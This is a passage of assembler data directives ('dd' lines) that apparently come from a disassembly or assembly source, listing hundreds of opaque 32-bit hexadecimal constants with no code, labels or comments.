dd 3BF135E3h, 0DDC8AB16h, 225E003Ch, 6AC66C53h, 640046DFh
dd 2F2BA31Eh, 40E03B35h, 5B4ADE9Dh, 0BB4F36A9h, 8F02CC6Eh
dd 2BA876CDh, 0C63F9989h, 6F3BA92h, 859D0307h, 0EA8B6A20h
dd 0EFE56047h, 440779D5h, 2E935D47h, 0BAA86F60h, 6D1900C2h
dd 0B5E6FCEBh, 955F9D89h, 41E27756h, 5CED9907h, 0F956A9C2h
dd 1429E5E2h, 4949F4B5h, 82985866h, 766FF305h, 82BDC283h
dd 0F615854Bh, 70E0E094h, 95290B5Fh, 58F414F5h, 0D03891C0h
dd 8243017Ah, 8A392AA1h, 0FB74898Ch, 134C7B5Bh, 3EA9A9BDh
dd 1F411231h, 9AB595ACh, 0F287C002h, 2E67ED52h, 9147BEE1h
dd 65D8242Fh, 39116213h, 29CB830h, 3F3AD5E6h, 910295D4h
dd 0ABF9040Bh, 0ED80312Ah, 116D8F10h, 0B4B2DB5Ah, 35BEAC00h
dd 16E98A84h, 4C974C4h, 55445F09h, 2538AC00h, 119882D8h
dd 0E81F4858h, 97C01D2Eh, 0B493B65Bh, 2BF4F35h, 3F18E2CCh
dd 2BEF8455h, 9345F82h, 0A50BEC5Ch, 55E2A9EBh, 0D5009837h
dd 38C01C33h, 9152B99h, 75FA31AAh, 0AFDC2A21h, 0FABF250Fh
dd 581263E5h, 38A7BBAh, 4F7EFFBEh, 0D7EBBAD2h, 8F187C18h
dd 5D5FE507h, 0BDFEC6FBh, 74F6F5B4h, 0C5F48BE0h, 0C77B1A0Fh
dd 8B7AF408h, 0D6C756F9h, 2E241446h, 92A5237Eh, 4B67F3DEh
dd 3222668Ah, 2FDEAE81h, 0B7534A30h, 0C65B2B04h, 0A64D8AEh
dd 0D72CBA04h, 7BAB34DDh, 0C51B2F26h, 2878076h, 48E9FB6Fh
dd 0CCFFF338h, 5C9269Dh, 8CBCC144h, 0FC0BD3Bh, 33BE805Ah
dd 29F109A1h, 0C8B72A0Eh, 0CF75204Bh, 3C00CCB3h, 56FFA63Fh
dd 27F8407Eh, 50585FA2h, 392C3690h, 0F3780CFh, 6B962AC5h
dd 7AD49F20h, 0CB3FF780h, 339F5h, 0C1F36F2h, 0BE2A9497h
dd 51A2AB4Ah, 0F57C7100h, 5FDD3344h, 8B905B09h, 0DD6DFFFAh
dd 4DCDC0EFh, 591B50Bh, 850912BDh, 337DE1FDh, 20FE5ED9h
dd 761E0182h, 5721FB00h, 7BD01F2Ah, 0EC274BC5h, 925FCDBAh
dd 15D6F3Ah, 0ADF27852h, 2831072Fh, 0C6058431h, 0B70C45BEh
dd 9BC8037Fh, 0D2C517E2h, 0B2FA235Ah, 11E90511h, 19FEE300h
dd 629DBC31h, 30CEB701h, 0A14A4DB2h, 0AA7DD3E0h, 80177D5h
dd 3FF2B1D1h, 868D1F1Ch, 0E93F4710h, 166B1721h, 5F2ED8BBh
dd 9BD9E8AAh, 69035F2Fh, 0F8815639h, 5E2CDCE2h, 34CFD200h
dd 655C1E67h, 0DC17B490h, 0EEC8E700h, 0B5EC866Eh, 5B1E05CCh
dd 0FB45BD2Bh, 0EE9BCC56h, 0ECBE05C0h, 0D113544Dh, 53DB6AD7h
dd 0DFE0ADC0h, 0DC3CBFBCh, 0C46DA576h, 3C51FC92h, 3704F23Ch
dd 0BC64B0CEh, 9EB7C45Ah, 0BEF575ABh, 0D7F321A3h, 0FE9F41F0h
dd 47E9BD00h, 9501BAE8h, 2E139205h, 940D1FFh, 607908CDh
dd 0CB5D7EC4h, 0ABA2A5B5h, 0C0FE026Ah, 0BA418A2Eh, 882F909Ah
dd 0CF3FEE96h, 0FA5800F0h, 0F42B6AEAh, 0F21C0425h, 82D2A429h
dd 89505736h, 61032BA6h, 0C8EF22E2h, 51B7F066h, 5F01E926h
dd 71086E50h, 31D9A50Ch, 0A90242A5h, 597F73BAh, 3EC5181Bh
dd 6FA661CFh, 0E936048Bh, 8A8EAB3Fh, 58E2A510h, 0FDFE2401h
dd 698A2915h, 4E44FE92h, 0BD0FD5C4h, 10BDD056h, 60481B51h
dd 1889DF25h, 340FD2D9h, 93DA0A2h, 3046D68h, 325956D0h
dd 0E597FF0Eh, 19A151F2h, 76C8DF00h, 1CAC387Dh, 309A0B00h
dd 7FB0CFAEh, 2A18EEA3h, 4AAA2BB7h, 0B8F0F990h, 0F0DD00FBh
dd 0F2BC1064h, 0B1970189h, 0CA2AF85Bh, 0DF9A5AD6h, 4DD8A682h
dd 0F5AB980h, 76BD16E6h, 919D614Ah, 7D722F2Bh, 25F45050h
dd 0E958C257h, 0DC2C5EB7h, 170AB1E4h, 3B890F92h, 1FC9B584h
dd 0F101955Dh, 0F3CA885Bh, 14B01E02h, 5E9163B3h, 522BC437h
dd 0C92AE5E1h
dd 91C72A18h, 70E60F08h, 0C14A87ABh, 6A9AAE80h, 606971E4h
dd 69C6FD1Ah, 5E892140h, 117FE85h, 0F31F93ABh, 0B5092B04h
dd 28BC29D9h, 9FCFA996h, 6750A4A1h, 65FC10C0h, 6617CC3Dh
dd 80099957h, 0EA2578FBh, 722BF64Ah, 0C8C84F51h, 100F866h
dd 20078042h, 26D13A3Fh, 88338BDDh, 0C4250EF9h, 0D0FADD2Ch
dd 0F7844F11h, 0EB817C41h, 212FFE79h, 18193520h, 0A7034585h
dd 44EC5C9Ah, 0DE08241Ah, 44F89801h, 618006E1h, 0EB6352E9h
dd 1C198509h, 95442179h, 0FD41ABBDh, 622F1AC5h, 60244221h
dd 731D77E2h, 7BD88717h, 24ACC10Dh, 0EAA6C044h, 10A70E01h
dd 1CAABD99h, 4B4E32Ah, 61D78B5Fh, 298137BDh, 831F5B5h
dd 0CA7C8A04h, 2CB91934h, 185FAC84h, 12C3B7FAh, 0FB958B56h
dd 625A414Bh, 0CBCDED22h, 95D24CD7h, 359D3E6Eh, 12CC0288h
dd 9F5EA3AFh, 9DFC9840h, 0BD900022h, 0D36315DBh, 0E8225CCCh
dd 0D570000Bh, 0CF16A764h, 96264828h, 992D9A68h, 0B9C45B46h
dd 0B7107032h, 54DC3774h, 97D8A28Ah, 177B6A8Bh, 24664670h
dd 173D7779h, 0FC138245h, 0EF715D5Bh, 5AE50220h, 0AC23E219h
dd 0D3E4009Fh, 57077DFFh, 0E2080280h, 0A6BA5F56h, 57189AAh
dd 0DBFA945Ch, 268B5049h, 625D0D34h, 0D5DE5C84h, 4668FCC0h
dd 700117AFh, 0D0BBA08Ch, 5EC2782Eh, 16DD4A8Ah, 0F1C5242Dh
dd 0E8FC2D08h, 0AF3A0465h, 0D9D6B23Bh, 0D9DD2A28h, 0A067B62Ah
dd 1A253057h, 5A26D940h, 56F9A9FDh, 0B5BD5EDBh, 13BA1ED3h
dd 0C0AE064h, 1184604Ch, 0B5171359h, 61AAA0CDh, 0C0614D97h
dd 4929611Ah, 0E5EFF502h, 5EB75FFFh, 141E51C3h, 0DFA4D8AAh
dd 260DB023h, 10590821h, 0F8E1FF0Bh, 0CE174B01h, 97A8227Dh
dd 0B6697814h, 516DFF1Ah, 2700CBC7h, 12757DF5h, 0F225FBEAh
dd 0A04F8899h, 491D13ADh, 0B36FAB60h, 2B10C901h, 2FEAB33Ah
dd 6EE09012h, 0EEF0481h, 0BD2C332Ah, 1C21C4Bh, 0DE9C5625h
dd 2C23C70Eh, 5665818Eh, 0C1642E64h, 0A2325AB8h, 4A34A864h
dd 12A2C843h, 8E459Dh, 0E1649F47h, 41BD759Dh, 0B9042519h
dd 95F9D268h, 0A70558A8h, 0C4542A8Ah, 37CC1584h, 105A1C13h
dd 0F379C092h, 0B88AAD2Fh, 1260D54Ch, 7DAD2404h, 8902C7B8h
dd 794F6B8Ch, 0D0AFDB1Eh, 0AE058610h, 1538FCC5h, 0DFD3C703h
dd 0CF0A0989h, 0D4599D4Dh, 0C50BB61h, 62647ECAh, 0DA565B57h
dd 0E6C4A5h, 0B82E1046h, 2B6499B9h, 0FA8B570Bh, 0F946895Bh
dd 0EDD982F1h, 507F659Ch, 9A070018h, 0A3AA0AF4h, 5F4A10B7h
dd 0F65B33F3h, 53161CDFh, 0CC1CDF01h, 1907AF57h, 0DC2FF6h
dd 41683D29h, 0BD09EAFBh, 4F85D159h, 78D70A20h, 0CEC20A01h
dd 2945195h, 5BC7D4EFh, 5349E57h, 0E96DEF80h, 70B7BFF1h
dd 4F930CA0h, 0AABB9104h, 9BA37A4h, 0BDD74C40h, 7F5F806Fh
dd 0D099CD58h, 0F6C4D53Ah, 537D817Ch, 1196F358h, 57A0FE9h
dd 1520FD24h, 0A8E7EF9Ah, 0B7E65B25h, 0C18D3109h, 0EA7C5E28h
dd 0A208091Dh, 89928279h, 0F6E6FBEh, 0E28E2B74h, 0DC810FBBh
dd 0AEFA6461h, 2D98CB34h, 1EDCBF09h, 0FD92239Dh, 466ED3h
dd 0A8E8F768h, 0B7962225h, 7BE950FEh, 0DA81C9DBh, 0F520660Fh
dd 82242F68h, 0C06B9BBEh, 142982FBh, 0AA9607BAh, 0B0E068A7h
dd 56BB4FC2h, 15309813h, 3E1FF4A0h, 0F64EDDC0h, 8CF7E0CAh
dd 0CA140139h, 0E17A7E30h, 0F7E26DBh, 54D9AF48h, 5A7153F1h
dd 196BFBh, 0D3797AA6h, 24F3622h, 0B8666090h, 0C66D241h
dd 0F3E5BB00h, 28B0C25Bh, 0D7680243h, 21974F69h, 5B3A185Dh
dd 0F460F061h, 0A3CE07B8h, 0A45E35F8h, 80F1A890h, 0D2E69355h
dd 9D8917A7h, 0AA5DC4A5h, 1CC8A2DAh, 7AF155C0h, 0B99B506Ah
dd 61A12583h, 76709873h, 3B1209C0h, 74D016F7h, 0D3FB99A0h
dd 9A69697h, 2821BD2Bh, 3FC68A79h, 7214BB27h, 6778FFh
dd 0F605A7Bh, 2956CABFh, 0E1952Dh, 0E96159EBh, 42B29C27h
dd 31050DA5h, 2E08B5BAh, 14E2886Bh, 1209B330h, 0B2117595h
dd 10A416FDh, 48E99E47h, 0D64F1224h, 0DF7182C0h, 0D1004E47h
dd 0A53D5409h, 704B77FDh, 282FF75Ch, 5700180h, 0E2626D9Fh
dd 0C45B57Ch, 2F04D788h, 0EE458710h, 2ACC2100h, 0D371CE26h
dd 335E4FAh, 311DDF07h, 0EE9DF985h, 0F88B8E45h, 80882AFFh
dd 8248D4B4h, 0DDF704A8h, 0BD311894h, 9C7A4A81h, 0C9D32F5Ch
dd 70A60732h, 0F91047A1h, 52369A1Bh, 995BB3C8h, 0E73B48B5h
dd 0A507B009h, 20674ABFh, 0DCD5783Dh, 7F199400h, 0FE9B3852h
dd 0D65A0681h, 7A795C72h, 76E21A97h, 65C6403Ah, 2EE60F2Fh
dd 0B31C19Dh, 9D3BAC14h, 0BB256D84h, 79A633C0h, 7C79B037h
dd 579603FBh, 505FDD8Ah, 2D1DC18Ch, 6EE7DFBFh, 0AEC6B884h
dd 1423F26Bh, 85018E02h, 2F105D1Dh, 2F5A12EBh, 0F3A9CFE2h
dd 2DA01CF3h, 360129E4h, 0BD8974C4h, 0A63B11D9h, 3114F26Fh
dd 0D1E72ADCh, 8F8BDA5Bh, 38B66262h, 3B325DBFh, 0CF9FF958h
dd 0C9C14086h, 363C972Eh, 235389AAh, 0BE21D058h, 0DAF34074h
dd 4D07EA2Fh, 87116172h, 6FCBE0EFh, 139A96AAh, 0A11A085Dh
dd 0B8253D36h, 7C0E0371h, 60D88B48h, 8AB4EB9Dh, 0F89705B8h
dd 0AE61318Fh, 0D46BE275h, 0D0BC8E00h, 0BFD13CDEh, 435E9809h
dd 0AE46D120h, 0B11DDC09h, 0EF57BC0Eh, 0C6745AF1h, 0A49D7D8Dh
dd 0A18DA0CFh, 18409D07h, 6C977FD1h, 61F9BC4Fh, 5197DBDh
dd 0FC784CB1h, 0DDF288D2h, 72DB4400h, 0C2B983AFh, 0A82A09D6h
dd 565196EFh, 3668000h, 8ACE71h, 696A609Bh, 19113B64h
dd 9630D231h, 0DF21E29Eh, 0B24CCE23h, 7C80333Ch, 0C816B62Ah
dd 0ED0BAC77h, 7F04FC51h, 0D8489546h, 0BA358F6h, 813AB1BEh
dd 6190A5A7h, 0B260F62Ah, 40C6301Ah, 30FF7001h, 95317D1Dh
dd 0EC64947Ah, 0FCD4B3Bh, 4917C86Fh, 78A31A4Bh, 9C5FB97h
dd 3B8C9F9h, 0B9E55900h, 50A7904Ch, 0FB4709BFh, 0BD06425h
dd 7AFD8A2Ah, 822337BDh, 8D852949h, 565EAFEh, 0F91664BEh
dd 1BF71E72h, 0E7BF87FAh, 0BD800890h, 9B84C168h, 181771BAh
dd 0E31D1686h, 9090B89h, 6E554642h, 60F6ADB6h, 274C561Dh
dd 9F45149Dh, 725C1EE2h, 8D160EDEh, 0B94283FEh, 0E6517E37h
dd 0CE93FD02h, 51A2F6B4h, 2F8DDDCFh, 5F250ACBh, 254CFD1h
dd 0D9E0171Fh, 0D3E8D586h, 0C65E0FD6h, 9989AF9Eh, 76E9A1D1h
dd 662DD447h, 35B1FDBCh, 0BF5B8305h, 89294FB1h, 0F13AC9E9h
dd 9DCC2084h, 5CBEDD5Fh, 7D055141h, 0BC9DC14Dh, 5E160964h
dd 0BED37114h, 57071011h, 0F0792C84h, 730A8F97h, 193DA001h
dd 0FCB51C76h, 7303170h, 0BB905BC0h, 4F454161h, 0DEAE9E50h
dd 17E6CA3Dh, 27E2C4E0h, 8C610712h, 0E077D90Ah, 1281AA1Eh
dd 0A3C7802Ah, 0FCA7846Bh, 8A109810h, 62CAC5FCh, 1CE6AFF3h
dd 0C5CFE9F0h, 41774312h, 5681A5E8h, 0E4F74D61h, 63EA958Ah
dd 78D84B1Ch, 8FA25B93h, 0E8806080h, 83A0F5CAh, 65F8BB50h
dd 0CC5EA13Bh, 2E1618FAh, 42998DC3h, 69E94A0Ah, 0F609F4B8h
dd 79D0CE97h, 0BD2382F4h, 0EE7518D5h, 219B81B0h, 0D1FF02FEh
dd 58004551h, 5FD20EEFh, 93A6C220h, 0DD5E5B27h, 0A156851h
dd 17F34400h, 816F02h, 2FA2CD83h, 16808702h, 0A890B1D2h
dd 0EF3020DAh, 0A5DDF838h, 0B6834FD9h, 0E1CEAF47h, 19DD7732h
dd 9AAE32Fh, 7D330FEDh, 250358Ah, 140D9529h, 87E8E45Eh
dd 1293F915h, 44E8EAE9h, 5F36CE1h, 0FED80882h, 0B8C625B9h
dd 33201997h, 1120C96Ah
dd 21AEBAF7h, 520C858Bh, 32AE51C0h, 124258D6h, 97002CC6h
dd 126C7F9h, 9035060h, 48E3A63Bh, 3C938578h, 0F3181D51h
dd 35A7D91Dh, 0E389D442h, 1200F0D5h, 0F534ADDBh, 0DCB72BAEh
dd 1BA175E0h, 9EC5E34Bh, 25A7A6BEh, 6BC85687h, 76E4D5h
dd 0C678D6BBh, 0F98A5B02h, 6EFF6A5Fh, 6D730EDDh, 0A8D6A0ADh
dd 5A64578Bh, 11CC259h, 0DA4466D4h, 508BA2BDh, 66804BF3h
dd 0EE9716FFh, 5FC51623h, 0FAFDC07Dh, 0BB1C5B18h, 5E49E36Fh
dd 60A7FEB0h, 969294DFh, 1AA1121Dh, 0E26236C0h, 488A2CA5h
dd 0BD1F89DEh, 725EE7DDh, 21CF562h, 276071E4h, 0E6950B75h
dd 9D0266E0h, 0ED3C23h, 4B559D2Bh, 0E8BEC80Ch, 5D5710E9h
dd 351B0063h, 0C4E16D5Fh, 47054F19h, 5115C77Eh, 2D7EFDB8h
dd 765106BAh, 702F26A6h, 2E1541A3h, 78FCDD09h, 208DB0CDh
dd 0E1B72B3Dh, 0E32A20BDh, 9C5108Fh, 1B1CF092h, 0D3A2E980h
dd 0E2F91E67h, 386CF09Dh, 5F804C44h, 7A1DE781h, 83971E74h
dd 365652CCh, 0B0E5098Ch, 2DF164B5h, 0EB711985h, 0B84E0E91h
dd 7914329Dh, 0FA6FA466h, 0E8D7C1BCh, 17B98224h, 0D05E40CAh
dd 9A9E005Fh, 6FE1C6D5h, 0F80AFE60h, 0FD3784C0h, 468DC702h
dd 44D35E5Fh, 0D8885236h, 0B02D1D37h, 0F372050Dh, 0F5F4BE7Eh
dd 2AA804BFh, 0BD7F800Ah, 0E3189C7h, 0C0681095h, 0BD0B408Ah
dd 94973069h, 6FDE16C7h, 0BDF2FD17h, 0BBA76040h, 27087E0Eh
dd 70DB6A30h, 9A752678h, 860F2F87h, 38509875h, 2D799804h
dd 277BADD7h, 8181959h, 171F9A38h, 0E8408A2Bh, 0E9B9433Ah
dd 14FB970Fh, 123294D0h, 15FF7Bh, 47F8E341h, 85976B44h
dd 0BAFC50CDh, 24BD31C7h, 5E5F0B0Ch, 0C87DDE5Ch, 0A38DCD00h
dd 2BF57B20h, 9B7395C0h, 66181451h, 0FAFCD3B5h, 1100CB6Eh
dd 76A19623h, 2D9A86F4h, 747907ADh, 0BCD62B90h, 0D32325C0h
dd 20FF2817h, 91F01CDh, 0E5E53595h, 0BDB5A793h, 0FC76B907h
dd 4F1C44Bh, 9EF83CB7h, 5E09FE3Dh, 809B7B0Ah, 9839CF81h
dd 0D1B547E3h, 86AE76AEh, 75BC502Fh, 0DC569211h, 0DF0080AAh
dd 818CFF9Ch, 9034DED8h, 91194AF1h, 0DEA1B584h, 42449CD7h
dd 0EB810268h, 0DCB81BDCh, 0FE00FCDDh, 2DDD8611h, 0B5A7600Eh
dd 895CB61Ah, 0D3E59E6Fh, 47B5D01Fh, 845CA98h, 0C4028CD8h
dd 0BC03B30Dh, 0DDC4A3AAh, 5E7AFEh, 615F19B4h, 720E2BF4h
dd 30A580D6h, 0C46D7195h, 0AFBB43A8h, 5D4DB2D1h, 6FF94E16h
dd 9D088B8Ah, 60131465h, 2DE2B6B6h, 2724B75Eh, 740FF909h
dd 1D46D42Bh, 57912F00h, 2B32649Ah, 40581C01h, 0DD953360h
dd 104BA97Ah, 612507C1h, 1116EAE9h, 0BFD8F380h, 1007132Dh
dd 6BAB06h, 69001D23h, 911706C9h, 836838AFh, 2D39B874h
dd 5EEAF59Dh, 7EA5BE5Ch, 7128F47Ah, 4009B587h, 6490E6C6h
dd 0E0827D63h, 0DFD85183h, 531202DDh, 4021E2h, 9B590D9h
dd 807DBD92h, 8D68B8E7h, 0E65C617Fh, 2B05AEDh, 0BD841472h
dd 0B12ABB19h, 775B95C1h, 7337185Ah, 95B3B08Fh, 1564C1CDh
dd 6B767F61h, 0CC043C34h, 0E6C82BB5h, 0E92140E5h, 1C013520h
dd 921CAEBFh, 5A3EF327h, 0F01A413h, 19D18D09h, 2695E72Ah
dd 0FF2DC189h, 50B53C02h, 54D888D3h, 41EE25A5h, 0F89023ECh
dd 6FED2BB2h, 6C00656Fh, 0ABB33CA0h, 2135C2Dh, 28BA5626h
dd 2BA08F76h, 0B14BF780h, 35BF1EC4h, 0C2B9E08Dh, 0B8F39A5Fh
dd 0D57CA00h, 97312284h, 0A43C2309h, 0A80E7996h, 0D9D2549h
dd 0BE797329h, 2508E4Ch, 0A624BB53h, 64D701D9h, 0BA6000A8h
dd 146BB95Bh, 5613BE66h, 44BA619Fh, 520DE836h, 0B3AEB0AEh
dd 2E158C00h, 0E8B8C7EBh, 0C0BF05C5h, 0B838881Ah, 0FE8B13F9h
dd 0B34531BAh, 8A62DED7h, 6F882F52h, 2001AEFBh, 86646E9Ch
dd 5EC6C38Ah, 53E06B12h, 0B03DBB50h, 623B277Ah, 5289B180h
dd 5BAD816Ah, 0F06B6661h, 90B63C75h, 0D9CD123Dh, 2B38AE29h
dd 1FBD21B5h, 160E69E7h, 803ADBEAh, 1BAEC4A0h, 0D8690B96h
dd 87C02536h, 0E9348CB7h, 0DBFB2A56h, 573BC9CBh, 1147A98h
dd 0C0A64600h, 0D424BC62h, 7BBF478h, 2D81FB16h, 0BFEE304Ah
dd 2F127E70h, 0C6E35F6Ch, 0A8545DBAh, 7B9E000Eh, 0B3C4D39Bh
dd 609F1613h, 951CD9D5h, 4A01F73Dh, 1C48FE30h, 4A19EF20h
dd 0E1B8B81Bh, 0B72F0491h, 0CEECA0DEh, 0FE65129Fh, 63482C2Bh
dd 0EC1A0449h, 25205FE1h, 5CCFAF57h, 66449202h, 4DD54D9Fh
dd 0BC536BCCh, 8AF10502h, 78275F4h, 0EC5C3EF2h, 59B85B69h
dd 2D4C1816h, 315EF55Bh, 37F41502h, 618B617Dh, 0AD4A3F38h
dd 0A29AD29Eh, 0F380E48Fh, 184EFC0Fh, 8057D99Dh, 201EA3E3h
dd 0B875FD6Ch, 275FAF00h, 0F41CA7BAh, 0C4FF0BA4h, 0F5DEB42Fh
dd 23577427h, 3B0B26A9h, 97C66A25h, 45F32F88h, 0D4BEBD0Eh
dd 0B36020DAh, 30190Fh, 0B2D70B17h, 43089CFAh, 3585FAA0h
dd 1ED7A9AAh, 6710B78Eh, 4400B92Dh, 15567407h, 4FE37A70h
dd 5FF300BCh, 1239B529h, 796C7BB5h, 3184C317h, 697CE930h
dd 82758A70h, 57C63B5Bh, 0DEBA95B3h, 442F725Ch, 85FE4B56h
dd 0B8A8B960h, 0F8DC4014h, 0E28AB5A1h, 0FBEB565Ch, 32015091h
dd 0FE114605h, 17B1483Fh, 0A755122Bh, 84C4B061h, 60F1383Bh
dd 8992F9B8h, 9D4BFABDh, 0DEEDFE6Ah, 0A563E718h, 9EB815Eh
dd 85DD4F9h, 78F84131h, 3704D679h, 96092529h, 5DE7157h
dd 0AE585360h, 8B8ED782h, 25F75E0Bh, 3C103363h, 0F1400AF1h
dd 0FC373FE8h, 1CB921CDh, 0D9B7D48Eh, 0A568B199h, 0F1B22A24h
dd 80169AD2h, 3A2E624Ah, 0D491255Ah, 1C114CC5h, 37BB6602h
dd 2759501Fh, 62C35C25h, 0AD57F98Ah, 0F87FA242h, 3BDA4A2Fh
dd 4CC01BC8h, 948877Ah, 0EAE498FFh, 950F1098h, 0D2FA7000h
dd 5009B593h, 0A03500F2h, 3BC1E96Fh, 31047B9Ch, 599D016Eh
dd 0C1D4D4FEh, 2E0A995Dh, 0E9A66274h, 0EB1F2BE0h, 0C4878600h
dd 0CD53D9F7h, 5CD30581h, 6456CE27h, 1D8C0480h, 0D058B905h
dd 79D512AEh, 0C28E3DE2h, 80FE9E13h, 0F9EF591Dh, 6A8016AFh
dd 4688FE09h, 7D7887h, 2F02C7A5h, 318AA162h, 2B35B515h
dd 0B44394h, 0AF631145h, 7E59CAh, 8A3637E1h, 88509F13h
dd 3001C67Ah, 9D238082h, 2B090A75h, 9BFF5416h, 0C410C0CFh
dd 0E9031Eh, 0D99E3C1Dh, 5B3AB757h, 20E9C64Bh, 0E417EDE8h
dd 8B948F0Fh, 47C89DC0h, 9512E81Ch, 6103915Fh, 2FC0C22Ah
dd 95521EDDh, 5A000144h, 16014453h, 9DA7F5F1h, 0F3816094h
dd 605BFDE1h, 1FFD931h, 852E16E9h, 94A3BE10h, 97C1EBA4h
dd 0A67A1E01h, 0FD3000EAh, 626FD3D4h, 217761h, 0A79B1F1Bh
dd 79E63817h, 0C674F712h, 9BB8DE0h, 6773BFCFh, 882E31D7h
dd 69624F69h, 61022A25h, 9CF9DF90h, 9A265016h, 0F5BF190Ah
dd 7F84226Dh, 81A43AACh, 50B99E9h, 9BDBC8h, 0E7A10944h
dd 8F98B052h, 0EAAE6502h, 55F448C6h, 88262CDEh, 546A5B8Dh
dd 0A898B31h, 0E5139529h, 2C4C20Eh, 736FD718h, 50C0C925h
dd 7EE38501h, 0B2A30352h, 6FD0124Ah, 8AEA4A14h, 31AE4024h
dd 0D412A99Fh, 0F50EDEB6h, 74ADBD29h, 7B033C24h, 0C9F7075Ah
dd 443EA05Ah, 7A8C1B4Bh, 0DDD148FFh, 94956D22h, 0D960456Ah
dd 51212A82h, 6E6F026Ah, 0F0ED00B3h, 0D0DFA4D4h, 4E213BBh
dd 9DCB059Fh, 91C38821h, 0B5503040h, 2C115C10h, 0D6E57401h
dd 292D26ABh, 2530C956h, 60C50F21h, 2C8DBD04h, 0E9DE8A01h
dd 62382E2Ah, 0B71D92CEh
dd 43ADF883h, 2A059010h, 0AF282184h, 50FC2570h, 31B50CBFh
dd 518D7636h, 0CFE64097h, 0CC020BBAh, 11897FC1h, 0BF975158h
dd 124C928Dh, 5A46B2B8h, 0A782869Eh, 0A642511Dh, 8B910375h
dd 52210008h, 1485F781h, 0D4BD2F31h, 0FA8B65E5h, 2D29F7F4h
dd 0F6D2CD9Dh, 6D81FF4Ah, 7A60DEC4h, 56BCAAA1h, 2A5B69E7h
dd 0B388D216h, 0B00140EDh, 0FA96CCD8h, 70E6255Fh, 2BF8FB61h
dd 6465F75Fh, 0AC92566h, 5762F164h, 9309D14h, 0D9ACE051h
dd 0BFC302C9h, 7C806203h, 0E4422561h, 349B10D7h, 99B00059h
dd 0F653AC1Dh, 3D096FB4h, 587BE89Eh, 2BFC00F6h, 0BEECBBC8h
dd 58957E6Eh, 296A44DDh, 0B2D256B7h, 2E52CDDCh, 4C508500h
dd 80524755h, 0E52D5ACBh, 340E9BD4h, 0DFBF800Ch, 298D286Bh
dd 3BDB1784h, 6F19CDD0h, 803F03ADh, 0DD6665A5h, 177A8964h
dd 1D9862AEh, 54B50922h, 0B34CA502h, 402ABF05h, 0A210455Eh
dd 0AC984A53h, 177F25C7h, 3DE74E4Dh, 0FB8D9903h, 0A12FF0DBh
dd 0B66A5A75h, 0F75CF19Eh, 9A711F4h, 0DBB13F7Dh, 6554D02h
dd 80D06E55h, 2D3E56F8h, 9D72ABB9h, 14B19D10h, 3035B7C7h
dd 0B36EE4BBh, 65536D4Bh, 39606FFAh, 218201BBh, 413ACF58h
dd 91F1202Fh, 9B0270DCh, 0FB8A5B6h, 9F811281h, 2A516FF7h
dd 6E7F9EB1h, 70B25E5Eh, 8A63BB14h, 0B7564C25h, 11946FEh
dd 8B7871A5h, 0B484C507h, 0AB166BE7h, 165FC61h, 66A64A0Eh
dd 0A23DC1A4h, 92ED6E64h, 82263058h, 85296156h, 100B2FA5h
dd 0ACB5555Bh, 0E186CA7h, 7F12BC30h, 0A51412D2h, 8D2E2A40h
dd 61C01CC8h, 5289397h, 4690456Ch, 3F31BE07h, 83BDF80h
dd 0BF8105A1h, 4553C62h, 5B8A72Dh, 76189925h, 9D0940A6h
dd 57990729h, 672BA53Fh, 0E1F038B9h, 0F0F8B62Eh, 82352C40h
dd 0B19BF662h, 7EFC4F4h, 9958D93h, 0CDADB75Bh, 80D5CB6Dh
dd 0FFD33B19h, 7953BBE1h, 438C40A7h, 0A10102B9h, 811108AAh
dd 2FEC75CBh, 0D5949523h, 0A401E645h, 382B10A9h, 26D3EEB1h
dd 0ECBD50A9h, 3C016DD0h, 6030F84Eh, 0DA31CA8Bh, 61A5926Eh
dd 7F51D856h, 0CDA6BE15h, 0C19DD5E0h, 0BC32E700h, 104C3994h
dd 4DBD1631h, 0A822BD09h, 7E268C15h, 0CE022385h, 5605B830h
dd 168826F8h, 163DF733h, 9BC0B41h, 0FF011FC5h, 0D900407Ah
dd 93AB327h, 125A918Dh, 0BF0218B7h, 3E4E4BDBh, 46D6C956h
dd 4D94001Ch, 102EF86Ch, 46782E06h, 90811273h, 41B8606Dh
dd 6411AE05h, 0D4AF29B4h, 0B908E9A6h, 0B927FE2Ah, 4B185529h
dd 0FA9F3B5Bh, 13D40028h, 3DEA7F21h, 0E802ECEBh, 51729F68h
dd 3290776Eh, 7CBF2F2Ah, 0B0825201h, 48D5F84Ch, 2C71601Fh
dd 89646E4Eh, 645108EAh, 0D5D30EBDh, 8910E209h, 1BEFDF85h
dd 0E9FE74C0h, 0F7FFA2BAh, 64706CD3h, 0D11412FEh, 48DDB617h
dd 0D58D4A47h, 0CCFF81Bh, 2C3556E0h, 8F2C23D8h, 45092746h
dd 5CF95905h, 9091DE0Ch, 95FBB0B2h, 35B5FCB0h, 25E7284Ah
dd 0DE525DE0h, 0E9130E0Ch, 3FA81B0Dh, 9992369Dh, 0FEF2B07Dh
dd 73FC8616h, 16ACA7E9h, 7EE9128Ch, 0EC9CE0F1h, 2185E74Bh
dd 0CBB6DBAAh, 4564F5E9h, 0A4BCA3B6h, 9D41F345h, 96001065h
dd 0B11393BBh, 63C14120h, 8BECCD71h, 451B97D9h, 0B0DB9C04h
dd 981682Bh, 96BC863h, 6F784860h, 9B1FF3Ch, 5986B337h
dd 254B1F4h, 658288A8h, 6D901A32h, 4DDDAC8Bh, 0F8F2C32Dh
dd 236194E0h, 0BFDBA601h, 4B01138Fh, 0C88F9A6Bh, 0F0B9C71Dh
dd 0B5AEF67Dh, 31124607h, 1D6401E7h, 2561D1E0h, 355C4CB7h
dd 0E8100871h, 4B043686h, 54117C2Dh, 33A3E5A8h, 14233E84h
dd 8497E27h, 51250959h, 0D75327BDh, 30859D04h, 0A4BD3BABh
dd 2551E6C1h, 0B2C0DE5Eh, 6FB05F22h, 0D32FF902h, 0DE602618h
dd 0CD7D400Eh, 0FC01786Ch, 184D88FDh, 0DBD4AB50h, 5C0C08F6h
dd 5918A0F3h, 0B90EA98Ch, 7C85E62Ch, 0E38152C0h, 52AAB3A7h
dd 11CDF309h, 0F7DB3F27h, 0F3E88680h, 8D2F9509h, 4229BA2Fh
dd 0BDA17AABh, 1459245Bh, 62271D36h, 0D9736282h, 146C2356h
dd 96E31274h, 26A7B30Eh, 111BB7FCh, 8C1FC75h, 7A91983Ah
dd 0C06E0005h, 5FFE4F5Ah, 4A5B9796h, 1278B78h, 0ED0B85D6h
dd 3AA449C6h, 0ED18D1Dh, 0BB028B46h, 4C78584Eh, 5769AC56h
dd 8E9049D1h, 9A59F8C9h, 70A5DBEBh, 0FD014895h, 8870BFFCh
